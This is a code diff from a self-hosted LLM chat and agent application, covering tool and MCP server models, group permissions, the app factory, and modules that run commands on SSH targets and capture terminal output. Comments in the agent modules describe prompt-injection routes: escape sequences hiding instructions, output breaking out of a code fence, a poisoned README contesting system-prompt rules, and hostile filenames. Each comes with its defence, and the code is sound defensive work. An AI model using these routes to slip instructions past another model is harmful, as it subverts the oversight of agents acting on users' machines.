max_chars: Mapped[int] = mapped_column(Integer, default=8000, nullable=False)
timeout: Mapped[int] = mapped_column(Integer, default=20, nullable=False)
# Whether this row may reach loopback, private or link-local addresses. Per
# row rather than the instance-wide search setting: an administrator naming
# http://127.0.0.1:11434 by hand is not the same act as a model handing the
# fetcher a URL it read on a page.
allow_private: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
public: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
last_checked_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
last_error: Mapped[str] = mapped_column(Text, default="")
groups: Mapped[list[Group]] = relationship(
"Group", secondary=custom_tool_groups, back_populates="custom_tools"
)
def __repr__(self) -> str:
return f"<CustomTool {self.slug}>"
class McpServer(UUIDPrimaryKey, Timestamps, Base):
"""A remote MCP server, reached over streamable HTTP.
The tools it advertises are cached in `tools_json` rather than given a table
of their own. A discovered tool carries exactly one administrator decision
-- offered or not, which `tool_overrides_json` holds -- while credentials,
guidance and access are all per server; and the whole list is replaced on
every refresh, so a table would mean reconciling rows against a cache of
somebody else's document.
"""
__tablename__ = "mcp_servers"
# Prefixed onto every tool name this server advertises, so that two servers
# both exposing "search" do not collide and neither shadows a built-in.
slug: Mapped[str] = mapped_column(String(24), unique=True, nullable=False)
name: Mapped[str] = mapped_column(String(120), nullable=False)
url: Mapped[str] = mapped_column(String(1000), nullable=False)
guidance: Mapped[str] = mapped_column(Text, default="")
secret_encrypted: Mapped[str] = mapped_column(Text, default="")
secret_placement: Mapped[str] = mapped_column(
String(16), default=SECRET_BEARER, nullable=False
)
secret_name: Mapped[str] = mapped_column(String(120), default="Authorization")
headers_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
timeout: Mapped[int] = mapped_column(Integer, default=30, nullable=False)
max_chars: Mapped[int] = mapped_column(Integer, default=8000, nullable=False)
allow_private: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
# The last tools/list, cached. One entry per tool:
# {"name", "offer_name", "description", "schema"}.
tools_json: Mapped[list[Any]] = mapped_column(JSONList, default=list)
# Per-tool switch, keyed by the server's own name for it. Absent means on,
# the same rule the model capability flags follow, so a newly advertised
# tool works rather than silently doing nothing.
tool_overrides_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
# What the server answered at initialize, for the admin list.
protocol_version: Mapped[str] = mapped_column(String(32), default="")
server_info: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
public: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
last_checked_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
last_error: Mapped[str] = mapped_column(Text, default="")
groups: Mapped[list[Group]] = relationship(
"Group", secondary=mcp_server_groups, back_populates="mcp_servers"
)
def __repr__(self) -> str:
return f"<McpServer {self.slug}>"
+19 -1
View File
@@ -3,7 +3,7 @@
from __future__ import annotations from __future__ import annotations
from datetime import datetime from datetime import datetime
from typing import Any from typing import TYPE_CHECKING, Any
from sqlalchemy import Boolean, Column, DateTime, ForeignKey, Index, String, Table, Text from sqlalchemy import Boolean, Column, DateTime, ForeignKey, Index, String, Table, Text
from sqlalchemy.orm import Mapped, mapped_column, relationship from sqlalchemy.orm import Mapped, mapped_column, relationship
@@ -11,6 +11,11 @@ from sqlalchemy.orm import Mapped, mapped_column, relationship
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
from lembas.db.types import JSONDict from lembas.db.types import JSONDict
if TYPE_CHECKING:
# Annotation only; SQLAlchemy resolves the real class from its registry.
from lembas.db.models.connection import Model
from lembas.db.models.tool import CustomTool, McpServer
# Roles are a simple ordered ladder rather than a permission matrix. Groups # Roles are a simple ordered ladder rather than a permission matrix. Groups
# (below) carry finer-grained permissions once the users/groups UI lands. # (below) carry finer-grained permissions once the users/groups UI lands.
ROLE_ADMIN = "admin" ROLE_ADMIN = "admin"
@@ -58,9 +63,22 @@ class Group(UUIDPrimaryKey, Timestamps, Base):
name: Mapped[str] = mapped_column(String(120), unique=True, nullable=False) name: Mapped[str] = mapped_column(String(120), unique=True, nullable=False)
description: Mapped[str] = mapped_column(Text, default="") description: Mapped[str] = mapped_column(Text, default="")
# Only the granted keys need be present. Absent means "no opinion", not
# "deny" -- permissions union across a user's groups. See
# lembas.security.permissions.
permissions_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict) permissions_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
users: Mapped[list[User]] = relationship(secondary=user_groups, back_populates="groups") users: Mapped[list[User]] = relationship(secondary=user_groups, back_populates="groups")
models: Mapped[list[Model]] = relationship(
"Model", secondary="model_groups", back_populates="groups"
)
custom_tools: Mapped[list[CustomTool]] = relationship(
"CustomTool", secondary="custom_tool_groups", back_populates="groups"
)
mcp_servers: Mapped[list[McpServer]] = relationship(
"McpServer", secondary="mcp_server_groups", back_populates="groups"
)
class Session(UUIDPrimaryKey, Timestamps, Base): class Session(UUIDPrimaryKey, Timestamps, Base):
+8 -7
View File
@@ -10,7 +10,6 @@ from sqlalchemy import Engine, create_engine, event
from sqlalchemy.orm import Session, sessionmaker from sqlalchemy.orm import Session, sessionmaker
from lembas.config import settings from lembas.config import settings
from lembas.db.base import Base
log = logging.getLogger(__name__) log = logging.getLogger(__name__)
@@ -63,15 +62,17 @@ def get_session_factory() -> sessionmaker[Session]:
def init_db() -> None: def init_db() -> None:
"""Create any missing tables. """Bring the database up to the declared schema.
This is ``CREATE TABLE IF NOT EXISTS`` only -- it never alters an existing Creates missing tables and adds missing columns -- see db/migrations.py for
table. There is no migration tool in this project by design, so changing a what that does and does not cover. Additive changes need nothing else;
column on a model requires migrating the database by hand. renames, drops and retypes are still a hand job.
""" """
import lembas.db.models # noqa: F401 (registers tables on the metadata) from lembas.db.migrations import sync_schema
Base.metadata.create_all(bind=get_engine()) changes = sync_schema(get_engine())
if changes:
log.info("database schema updated: %s", ", ".join(changes))
log.debug("schema ensured at %s", settings.db_path) log.debug("schema ensured at %s", settings.db_path)
+194
View File
@@ -0,0 +1,194 @@
"""Application factory, lifespan and error handling."""
from __future__ import annotations
import logging
from collections.abc import AsyncIterator
from contextlib import asynccontextmanager
from fastapi import FastAPI, Request, status
from fastapi.responses import JSONResponse, Response
from fastapi.staticfiles import StaticFiles
from starlette.exceptions import HTTPException as StarletteHTTPException
from lembas import __version__
from lembas.api import (
admin,
admin_agents,
admin_audio,
admin_models,
admin_prompts,
admin_search,
admin_suggestions,
admin_tools,
admin_users,
agents,
audio,
auth,
chats,
files,
folders,
library,
pages,
preferences,
terminal,
)
from lembas.api.deps import RedirectToLogin, is_htmx, login_redirect
from lembas.config import settings
from lembas.db.session import init_db
from lembas.web.templating import STATIC_DIR, render
log = logging.getLogger("lembas")
def configure_logging() -> None:
logging.basicConfig(
level=settings.log_level.upper(),
format="%(asctime)s %(levelname)-7s %(name)s: %(message)s",
datefmt="%H:%M:%S",
)
@asynccontextmanager
async def lifespan(app: FastAPI) -> AsyncIterator[None]:
configure_logging()
settings.ensure_dirs()
init_db()
if settings.secret_key_is_ephemeral:
log.warning(
"No LEMBAS_SECRET_KEY set, so a temporary one was generated. Every "
"restart will sign all users out and make stored API keys "
"unreadable. Generate a permanent key with:\n"
' python -c "import secrets; print(secrets.token_urlsafe(48))"'
)
# Files chosen in a composer that was never sent would otherwise sit on
# disk forever. Cheap, and startup is the natural moment for it.
try:
from lembas.db.session import session_scope
from lembas.services.chat import sweep_temporary
from lembas.services.files import sweep_orphans
from lembas.services.library.documents import sweep_unfiled
from lembas.services.suggestions import seed_defaults as seed_suggestions
with session_scope() as db:
sweep_orphans(db)
# Documents that predate knowledge bases have nowhere to live until
# this runs; see services/library/documents.py.
sweep_unfiled(db)
# Temporary chats older than a day. Startup only, like the sweeps
# above it -- see services/chat.py:sweep_temporary.
sweep_temporary(db)
# Three starting points on the empty screen, written once ever.
seed_suggestions(db)
except Exception: # noqa: BLE001 - housekeeping must never block startup
log.exception("orphaned upload sweep failed")
log.info("LLeMbas %s starting on http://%s:%s", __version__, settings.host, settings.port)
log.info("data directory: %s", settings.data_dir.resolve())
yield
# Replies still being written are cancelled and persisted with whatever
# they have, rather than left as permanently unfinished rows.
from lembas.services.agent.terminal import shutdown as stop_terminals
from lembas.services.generation import shutdown as stop_generations
await stop_generations()
# Open shells have nothing to persist: whatever was running on the far side
# is cut off mid-command. Every deploy does this, and the panel is told why
# rather than left to guess -- see deploy/README.md.
await stop_terminals()
log.info("LLeMbas stopped")
def create_app() -> FastAPI:
app = FastAPI(
title="LLeMbas",
version=__version__,
lifespan=lifespan,
# The API is an implementation detail of the UI, not a product surface.
docs_url="/api/docs" if settings.log_level == "debug" else None,
redoc_url=None,
)
app.mount("/static", StaticFiles(directory=str(STATIC_DIR)), name="static")
app.include_router(pages.router)
app.include_router(auth.router)
app.include_router(preferences.router)
app.include_router(chats.router)
app.include_router(terminal.router)
app.include_router(audio.router)
app.include_router(files.router)
app.include_router(folders.router)
app.include_router(library.router)
app.include_router(agents.router)
app.include_router(admin.router)
app.include_router(admin_users.router)
app.include_router(admin_models.router)
app.include_router(admin_audio.router)
app.include_router(admin_search.router)
app.include_router(admin_prompts.router)
app.include_router(admin_suggestions.router)
app.include_router(admin_tools.router)
app.include_router(admin_agents.router)
register_error_handlers(app)
return app
def register_error_handlers(app: FastAPI) -> None:
@app.exception_handler(RedirectToLogin)
async def _not_signed_in(request: Request, exc: RedirectToLogin) -> Response:
# An htmx request must not swap a login page into a fragment of the
# chat UI, so tell the browser to navigate instead.
if is_htmx(request):
response = Response(status_code=status.HTTP_204_NO_CONTENT)
response.headers["HX-Redirect"] = "/auth/login"
return response
return login_redirect(exc.next_url)
@app.exception_handler(StarletteHTTPException)
async def _http_error(request: Request, exc: StarletteHTTPException) -> Response:
# JSON callers and htmx fragments want the bare status; humans loading a
# page want a themed page they can navigate away from.
wants_page = "text/html" in request.headers.get("accept", "") and not is_htmx(request)
if not wants_page:
return JSONResponse({"detail": exc.detail}, status_code=exc.status_code)
return render(
request,
"error.html",
{
"status_code": exc.status_code,
"detail": exc.detail,
"flavour": ERROR_FLAVOUR.get(exc.status_code, ERROR_FLAVOUR[500]),
},
status_code=exc.status_code,
)
@app.exception_handler(Exception)
async def _unhandled(request: Request, exc: Exception) -> Response:
log.exception("unhandled error at %s", request.url.path)
if is_htmx(request) or "text/html" not in request.headers.get("accept", ""):
return JSONResponse({"detail": "Internal server error"}, status_code=500)
return render(
request,
"error.html",
{"status_code": 500, "detail": "Something went wrong.",
"flavour": ERROR_FLAVOUR[500]},
status_code=500,
)
# Flavour lives in error pages, empty states and theme names -- never in the
# functional UI. See CLAUDE.md.
ERROR_FLAVOUR = {
403: "Speak, friend, and enter. This door is not yours to open.",
404: "Not all those who wander are lost. This page, however, is.",
500: "The Road goes ever on, but this stretch of it has washed out.",
}
app = create_app()
+1 -1
View File
@@ -8,7 +8,7 @@ defaults tighten in a future release.
from __future__ import annotations from __future__ import annotations
from argon2 import PasswordHasher from argon2 import PasswordHasher
from argon2.exceptions import InvalidHashError, VerifyMismatchError, VerificationError from argon2.exceptions import InvalidHashError, VerificationError, VerifyMismatchError
_hasher = PasswordHasher() _hasher = PasswordHasher()
+280
View File
@@ -0,0 +1,280 @@
"""Permission vocabulary and resolution.
The model is deliberately small: a flat set of named booleans, granted by an
instance-wide baseline and widened by group membership. Permissions are a union
across groups -- being in a second group can only ever grant more, never take
away. That is the behaviour people expect, and the alternative (a deny that
wins) makes "why can this user not do X" unanswerable without simulating every
group.
Administrators bypass the whole thing. There is no permission that can be
withheld from an admin, because an admin can grant it back to themselves in two
clicks; pretending otherwise would be theatre.
Model *access* is separate and lives in models_visible_to(): a permission says
what a user may do, model access says which models they may do it with.
"""
from __future__ import annotations
from dataclasses import dataclass
from sqlalchemy import select
from sqlalchemy.orm import Session as DBSession
from lembas.db.models import Connection, Model, User
@dataclass(frozen=True)
class PermissionDef:
key: str
label: str
description: str
default: bool
group: str
# The order here is the order they render in the admin UI.
PERMISSION_DEFS: tuple[PermissionDef, ...] = (
PermissionDef(
"chat.create", "Start chats", "Create new conversations.", True, "Chat"
),
PermissionDef(
"chat.delete", "Delete chats", "Delete their own conversations.", True, "Chat"
),
PermissionDef(
"chat.system_prompt",
"Set system prompts",
"Give an individual chat its own system prompt.",
True,
"Chat",
),
PermissionDef(
"chat.params",
"Adjust sampling",
"Change temperature, top-p and similar per chat.",
False,
"Chat",
),
PermissionDef(
"chat.model_select",
"Choose the model",
"Switch a chat to a different model. Without this, chats use the default.",
True,
"Chat",
),
PermissionDef(
"folder.manage",
"Manage folders",
"Create, rename, nest and delete folders.",
True,
"Workspace",
),
PermissionDef(
"files.upload",
"Attach files",
"Attach images, PDFs and text files to a message. Images only reach "
"models marked as having vision.",
True,
"Workspace",
),
PermissionDef(
"tools.web_search",
"Search the web",
"Let a model look things up while it answers. Only offered to models "
"marked as supporting tools, and only when web search is configured.",
True,
"Chat",
),
PermissionDef(
"tools.fetch",
"Fetch a page",
"Let a model retrieve one web page and read it, given its address. "
"Addresses on this machine and this network are refused unless an "
"administrator has allowed them.",
True,
"Chat",
),
PermissionDef(
"tools.custom",
"Use custom tools",
"Let a model call the HTTP tools an administrator has defined. Which "
"ones depends on the groups each tool is restricted to.",
True,
"Chat",
),
PermissionDef(
"tools.mcp",
"Use MCP servers",
"Let a model call tools from the MCP servers an administrator has "
"added. Which ones depends on the groups each server is restricted to.",
True,
"Chat",
),
PermissionDef(
"agent.ssh",
"Save SSH connections",
"Keep connection profiles for machines of their own. The credential is "
"encrypted here, and whoever saves it decides which host it opens.",
False,
"Agent",
),
PermissionDef(
"tools.agent",
"Run commands",
"Let a model read files, write files and run commands on one of their "
"SSH connections. What it may do without asking depends on the chat's "
"mode. Nothing runs on this server.",
False,
"Agent",
),
PermissionDef(
"agent.terminal",
"Open a terminal",
"Open an interactive shell on one of their own SSH connections, from "
"inside the chat. What they type there is theirs: the chat's mode "
"governs the model, not the person at the keyboard.",
False,
"Agent",
),
PermissionDef(
"tools.ask",
"Be asked questions",
"Let a model stop mid-reply and ask you something, with answers to pick "
"from or a box to write your own.",
True,
"Chat",
),
PermissionDef(
"audio.transcribe",
"Dictate messages",
"Speak a message instead of typing it. Needs a transcription endpoint.",
True,
"Audio",
),
PermissionDef(
"audio.listen",
"Play replies aloud",
"Have a reply read out. Needs a speech endpoint.",
True,
"Audio",
),
PermissionDef(
"library.use",
"Use the library",
"Keep knowledge documents, notes, memories and skills of their own.",
True,
"Library",
),
PermissionDef(
"library.share",
"Share library items",
"Give other people, or a group, access to their documents, notes and "
"skills. Sharing grants reading only.",
False,
"Library",
),
PermissionDef(
"tools.knowledge",
"Search their knowledge",
"Let a model search the documents this user has collected.",
True,
"Library",
),
PermissionDef(
"tools.notes",
"Read and write notes",
"Let a model keep its own notes for this user, and read them back later.",
True,
"Library",
),
PermissionDef(
"tools.memory",
"Remember things",
"Let a model record short facts about this user, shown to it on every "
"turn.",
True,
"Library",
),
PermissionDef(
"tools.skills",
"Use and write skills",
"Let a model follow saved instructions, and write new ones. Every "
"change is recorded and can be rolled back.",
True,
"Library",
),
)
PERMISSION_KEYS = tuple(d.key for d in PERMISSION_DEFS)
DEFAULT_PERMISSIONS = {d.key: d.default for d in PERMISSION_DEFS}
def permission_groups() -> dict[str, list[PermissionDef]]:
"""Definitions bucketed by their UI section, preserving declaration order."""
grouped: dict[str, list[PermissionDef]] = {}
for definition in PERMISSION_DEFS:
grouped.setdefault(definition.group, []).append(definition)
return grouped
def baseline_permissions(db: DBSession) -> dict[str, bool]:
"""Instance-wide permissions for a user in no group at all."""
from lembas.services import settings_store
stored = settings_store.get(db, "default_permissions") or {}
return {key: bool(stored.get(key, DEFAULT_PERMISSIONS[key])) for key in PERMISSION_KEYS}
def resolve(db: DBSession, user: User | None) -> dict[str, bool]:
"""Effective permissions for a user."""
if user is None:
return dict.fromkeys(PERMISSION_KEYS, False)
if user.is_admin:
return dict.fromkeys(PERMISSION_KEYS, True)
effective = baseline_permissions(db)
for group in user.groups:
granted = group.permissions_json or {}
for key in PERMISSION_KEYS:
# Union: a group can only widen. Absent means "no opinion", not
# "deny", so a group need only list what it adds.
if granted.get(key):
effective[key] = True
return effective
def has(db: DBSession, user: User | None, key: str) -> bool:
return resolve(db, user).get(key, False)
def models_visible_to(db: DBSession, user: User | None) -> list[Model]:
"""Models a user may start a chat with, in display order.
A model is visible when it is enabled, its connection is enabled, and
either it is public or the user belongs to one of its groups.
"""
query = (
select(Model)
.join(Connection)
.where(Model.enabled.is_(True), Connection.enabled.is_(True))
.order_by(Model.position, Model.model_id)
)
candidates = list(db.scalars(query))
if user is not None and user.is_admin:
return candidates
if user is None:
return []
member_of = {group.id for group in user.groups}
return [
model
for model in candidates
if model.public or member_of.intersection({g.id for g in model.groups})
]
def can_use_model(db: DBSession, user: User | None, model_id: str) -> bool:
return any(model.model_id == model_id for model in models_visible_to(db, user))
+36
View File
@@ -0,0 +1,36 @@
"""Agentic execution: running commands and touching files on the model's behalf.
Four parts, and the split is the safety argument. `policy` decides what may
happen without asking and knows nothing about how anything runs. `base` is the
interface a target implements. `local` runs on this machine inside a bubblewrap
sandbox that cannot see the database or the encryption key; `ssh` runs on
somebody else's machine, where nothing is sandboxed and the credential is the
whole of the trust.
The mode is enforced in the generation loop, not in the prompt. A model is told
which mode it is in so it can behave sensibly, but being told is not what stops
it: everything it reads is untrusted, and a rule written only into a system
message is a rule a poisoned README can argue with.
"""
from lembas.services.agent.policy import (
MODE_AUTO,
MODE_EDIT,
MODE_MANUAL,
MODE_PLAN,
MODES,
Decision,
Limits,
decide,
)
__all__ = [
"MODES",
"MODE_AUTO",
"MODE_EDIT",
"MODE_MANUAL",
"MODE_PLAN",
"Decision",
"Limits",
"decide",
]
+143
View File
@@ -0,0 +1,143 @@
"""What an agent chat needs from the machine it acts on.
One interface, currently one implementation. It exists as an interface anyway
because the *snapshot* is the load-bearing part: a generation outlives the
request that started it, so everything a runner needs -- the host, the decrypted
credential, the mode, the project directory -- has to be read while the session
is open and carried, not looked up later. That is the same reason `Endpoint` is
a frozen copy of a `Connection` and `ToolContext` holds an owner id rather than
a `User`.
"""
from __future__ import annotations
import re
from dataclasses import dataclass, field
from typing import Any, Protocol
# What a command may weigh before it is cut off. Per call; the reply also has a
# total, in policy.Limits.
DEFAULT_MAX_BYTES = 64 * 1024
DEFAULT_TIMEOUT = 60.0
# Terminal escape sequences, stripped from anything a command produced. They are
# inert in escaped HTML, but this text also re-enters the model's context, where
# they are a known way of hiding instructions, and it may end up in a log a
# person later cats, where they hijack the terminal.
_ANSI = re.compile(r"\x1b\[[0-9;?]*[ -/]*[@-~]|\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)|\x1b[@-Z\\-_]")
@dataclass(frozen=True)
class ExecRequest:
"""One command to run."""
command: str
cwd: str = ""
timeout: float = DEFAULT_TIMEOUT
max_bytes: int = DEFAULT_MAX_BYTES
@dataclass(frozen=True)
class ExecResult:
"""What running it produced.
`output` is stdout and stderr interleaved, because a shell transcript is
what the model needs to read and separating them loses the ordering that
makes an error make sense.
"""
exit_status: int
output: str
truncated: bool = False
timed_out: bool = False
duration_ms: int = 0
@property
def ok(self) -> bool:
return self.exit_status == 0 and not self.timed_out
class ExecError(Exception):
"""Nothing could be run at all: the host refused, or the credential did.
Distinct from a command that ran and failed -- that is an `ExecResult` with
a non-zero status, which the model should read and react to. This is the
reply not being able to act, which is a message for a person.
"""
def __init__(self, message: str) -> None:
super().__init__(message)
self.message = message
@dataclass(frozen=True)
class Target:
"""A machine an agent chat acts on, read while the session was open.
Holds the decrypted credential and nothing else does. `generation` clears it
when the reply ends, because a finished `Generation` lingers for five
minutes so late followers get the final frames, and a private key should not
linger with it.
"""
kind: str
label: str
project_dir: str = ""
spec: dict[str, Any] = field(default_factory=dict)
@dataclass(frozen=True)
class RemoteEntry:
"""One line of a directory listing, with enough to draw it.
Separate from `list_dir`, which returns bare names and backs the
`file_list` tool. That contract is a list of names and must not change
under a model mid-conversation, so a picker -- which has to tell a
directory from a file before it knows whether the row can be walked into
-- gets its own method rather than a widened one.
"""
name: str
is_dir: bool
size: int = 0
modified: int = 0
@property
def is_hidden(self) -> bool:
return self.name.startswith(".")
class Executor(Protocol):
"""How a target is acted on. See `ssh.py`; there is no local variant."""
async def run(self, request: ExecRequest) -> ExecResult: ...
async def read_file(self, path: str, *, max_bytes: int) -> str: ...
async def write_file(self, path: str, text: str) -> int: ...
async def list_dir(self, path: str) -> list[str]: ...
async def scan_dir(self, path: str) -> list[RemoteEntry]: ...
def clean_output(data: bytes | str, *, limit: int) -> tuple[str, bool]:
"""Decode, strip escape sequences, and cap. Returns (text, truncated)."""
text = data.decode("utf-8", "replace") if isinstance(data, bytes) else data
text = _ANSI.sub("", text)
if len(text) <= limit:
return text, False
return text[:limit].rstrip() + "\n… (truncated)", True
__all__ = [
"DEFAULT_MAX_BYTES",
"DEFAULT_TIMEOUT",
"ExecError",
"ExecRequest",
"ExecResult",
"Executor",
"RemoteEntry",
"Target",
"clean_output",
]
+164
View File
@@ -0,0 +1,164 @@
"""One command and its output, kept so it can be handed to a model.
Bounded at both ends rather than only the front. A build that fails ten
megabytes in has the invocation and the configuration at the top and the error
at the bottom, and either half alone is the wrong half.
Raw bytes are kept and decoded only when somebody asks. Head/tail slicing
splits UTF-8 characters at will, and `base.clean_output` decodes with
`errors="replace"`, which is exactly the right handling -- decoding eagerly per
chunk would be the same mistake the terminal pump already avoids.
"""
from __future__ import annotations
import re
import time
from collections import deque
from dataclasses import dataclass, field
from lembas.services.agent.base import clean_output
# What one command's output may keep, at each end.
CAPTURE_HEAD_BYTES = 48 * 1024
CAPTURE_TAIL_BYTES = 16 * 1024
# The command line itself. Longer than any command and shorter than a paste.
CAPTURE_COMMAND_BYTES = 4 * 1024
# One line of output. A minified bundle on one line is not worth keeping whole.
MAX_LINE_CHARS = 2000
# C0 except tab and newline, and the C1 block. Not in `clean_output`, which
# `shell_run` shares: there a control character inside a file's contents is
# data. Here it is a terminal being driven.
_CONTROLS = re.compile(r"[\x00-\x08\x0b\x0c\x0e-\x1f\x7f-\x9f]")
def flatten(text: str) -> str:
"""What the screen would have shown, from what the wire carried.
The highest-value transform here by a distance. A progress bar redraws
itself by returning to the start of the line and writing again; keeping
every state turns two megabytes of `pip install` into two megabytes of
spinner in somebody's prompt. Only the last state of a line was ever
visible, so only the last state is kept.
"""
lines = []
for line in text.replace("\r\n", "\n").split("\n"):
if "\r" in line:
line = line.rsplit("\r", 1)[-1]
lines.append(_CONTROLS.sub("", line)[:MAX_LINE_CHARS])
return "\n".join(lines).strip("\n")
def fenced(text: str) -> str:
"""A fence long enough that the content cannot end it early.
Output containing three backticks would otherwise break out, and everything
after it would read to the model as prose rather than as what a machine
printed. That is a real injection route and it costs one line to close.
"""
longest = max((len(run) for run in re.findall(r"`+", text)), default=0)
ticks = "`" * max(3, longest + 1)
return f"{ticks}console\n{text}\n{ticks}"
@dataclass
class Capture:
"""A command, and as much of its output as is worth keeping."""
seq: int = 0
command: str = ""
cwd: str = ""
started: float = field(default_factory=time.monotonic)
ended: float = 0.0
exit_status: int | None = None # None while it is still running
head: bytearray = field(default_factory=bytearray)
tail: deque[bytes] = field(default_factory=deque)
tail_bytes: int = 0
dropped: int = 0
total: int = 0
@property
def running(self) -> bool:
return self.exit_status is None
@property
def duration_ms(self) -> int:
end = self.ended or time.monotonic()
return int((end - self.started) * 1000)
def absorb(self, chunk: bytes) -> None:
"""Keep the front, keep the back, count what fell out of the middle."""
self.total += len(chunk)
if len(self.head) < CAPTURE_HEAD_BYTES:
take = CAPTURE_HEAD_BYTES - len(self.head)
self.head += chunk[:take]
chunk = chunk[take:]
if not chunk:
return
self.tail.append(chunk)
self.tail_bytes += len(chunk)
while self.tail_bytes > CAPTURE_TAIL_BYTES and len(self.tail) > 1:
gone = self.tail.popleft()
self.tail_bytes -= len(gone)
self.dropped += len(gone)
def output(self) -> str:
"""The kept output as text, with the gap marked if there is one."""
head = flatten(clean_output(bytes(self.head), limit=CAPTURE_HEAD_BYTES * 2)[0])
if not self.dropped and not self.tail:
return head
tail = flatten(clean_output(b"".join(self.tail), limit=CAPTURE_TAIL_BYTES * 2)[0])
if not self.dropped:
return f"{head}\n{tail}" if tail else head
gap = f"\n\n{self.dropped / 1024:,.0f} KB dropped …\n\n"
return f"{head}{gap}{tail}"
def as_text(self, *, label: str) -> str:
"""The block that goes into a message, attribution and all.
The sentence sits **outside** the fence and is written here, so nothing
the far side printed can forge it, and the `$ ` line is synthesised
rather than lifted from the shell -- what the shell echoed carries
readline's editing escapes and is not the command.
"""
where = f", in {self.cwd}" if self.cwd else ""
if self.running:
how = "still running"
elif self.exit_status:
how = f"exit {self.exit_status}"
else:
how = "succeeded"
seconds = self.duration_ms / 1000
took = f" after {seconds:.0f}s" if seconds >= 1 else ""
body = f"$ {self.command}\n{self.output()}".rstrip()
return (
f"Ran in the terminal on {label}{where}{how}{took}:\n\n{fenced(body)}"
)
def summary(self) -> str:
"""A short label for a chip, never rendered as markup."""
command = self.command or "(no command)"
if len(command) > 60:
command = command[:57] + ""
if self.running:
return f"{command} · running"
return f"{command} · exit {self.exit_status}"
def trim_command(raw: str) -> str:
text, _ = clean_output(raw, limit=CAPTURE_COMMAND_BYTES)
return _CONTROLS.sub("", text).strip()
__all__ = [
"CAPTURE_COMMAND_BYTES",
"CAPTURE_HEAD_BYTES",
"CAPTURE_TAIL_BYTES",
"Capture",
"fenced",
"flatten",
"trim_command",
]
+528
View File
@@ -0,0 +1,528 @@
"""What is in a project directory, for the picker and for the model.
Two things want this list. The `@` picker needs something to filter, and a
model working in a directory should know roughly what is in it rather than
spending its first two rounds finding out. Both want the same walk, so it
happens once and is cached.
**Three ways of getting it, in order.** `git ls-files` first, because most
project directories are repositories and it applies `.gitignore` for free --
without which the answer for a Node project is forty thousand paths under
`node_modules`. Then `find`, with the usual noise pruned by hand. Then a
recursive SFTP walk, which always works and costs a round trip per directory.
**Two commands run here, and neither goes through `agent/policy.py`.** That is
deliberate and it is the same argument the terminal panel and the directory
browser rest on: this is LLeMbas listing a directory on somebody's behalf, not
a model choosing to run something. Both are read-only, both are built here
rather than assembled from anything a model said, and the project directory is
configuration rather than input. It is still an exception to Manual mode's
"everything is shown to you before it happens", and it is written down in
CLAUDE.md next to the others.
**Nothing here is trusted.** Filenames come off somebody else's machine and end
up inside a system prompt, so they are stripped of control characters, capped
in length, capped in number, and never interpreted.
"""
from __future__ import annotations
import asyncio
import logging
import re
import time
from dataclasses import dataclass, field
from lembas.services.agent.base import ExecError, ExecRequest, Executor
log = logging.getLogger(__name__)
# How many paths are kept. Past this the index says it was truncated, which the
# rendering repeats to the model -- "there is nothing else here" and "I stopped
# looking" are different answers and it must not give the first for the second.
MAX_ENTRIES = 20_000
# One path. Longer than any real one and shorter than an attack.
MAX_PATH = 400
# How long a walk may take before it is abandoned. The index is a convenience;
# a chat must never sit waiting for one.
BUILD_TIMEOUT = 20.0
# Output budget for the listing commands. Twenty thousand paths at forty
# characters is 800KB, so this has room and still refuses a runaway.
MAX_OUTPUT = 2 * 1024 * 1024
# How long a built index is reused, and how many are kept at once. A project
# directory changes under you -- the model writes files into it -- so this is
# short. `refresh` exists for when short is not short enough.
TTL = 300.0
MAX_CACHED = 64
# How deep the SFTP fallback goes, and how many directories it will open. It is
# a round trip per directory, so an unbounded walk of somebody's home directory
# would take minutes and achieve nothing.
SFTP_MAX_DEPTH = 6
SFTP_MAX_DIRS = 400
# Pruned from the `find` and SFTP paths. Not applied to `git ls-files`, which
# has already applied the repository's own rules and where a checked-in
# `vendor/` is checked in on purpose -- this project's own hash-pinned browser
# libraries live in one.
IGNORED = (
".git",
".hg",
".svn",
"node_modules",
"__pycache__",
".venv",
"venv",
".mypy_cache",
".pytest_cache",
".ruff_cache",
".tox",
".next",
".nuxt",
".gradle",
".terraform",
"target",
"dist",
"build",
".DS_Store",
)
# Control characters, including the escape that would let a filename repaint
# the transcript it is quoted in.
_CONTROL = re.compile(r"[\x00-\x1f\x7f-\x9f]")
@dataclass(frozen=True)
class ProjectIndex:
"""A snapshot of what was in a directory, and how it was found out."""
paths: tuple[str, ...] = ()
total: int = 0
truncated: bool = False
source: str = ""
built_at: float = field(default=0.0)
@property
def ok(self) -> bool:
return bool(self.paths)
# --- Building ----------------------------------------------------------------
def _clean(raw: str) -> str:
"""One path, made safe to put in a prompt and in an attribute."""
path = _CONTROL.sub("", raw.strip()).lstrip("./")
return path[:MAX_PATH]
def _collect(output: str) -> tuple[tuple[str, ...], int, bool]:
seen: set[str] = set()
paths: list[str] = []
total = 0
for line in output.splitlines():
path = _clean(line)
if not path or path in seen:
continue
total += 1
if len(paths) < MAX_ENTRIES:
seen.add(path)
paths.append(path)
paths.sort()
return tuple(paths), total, total > len(paths)
async def _from_git(executor: Executor, project_dir: str) -> ProjectIndex | None:
"""Tracked and untracked files, minus whatever `.gitignore` excludes.
`--exclude-standard` is what makes this worth trying first: the repository
already carries somebody's considered list of what is not part of the
project, and reproducing it by hand is how an index ends up ninety percent
build output.
"""
result = await executor.run(
ExecRequest(
command="git ls-files -c -o --exclude-standard 2>/dev/null",
cwd=project_dir,
timeout=BUILD_TIMEOUT,
max_bytes=MAX_OUTPUT,
)
)
if not result.ok or not result.output.strip():
return None
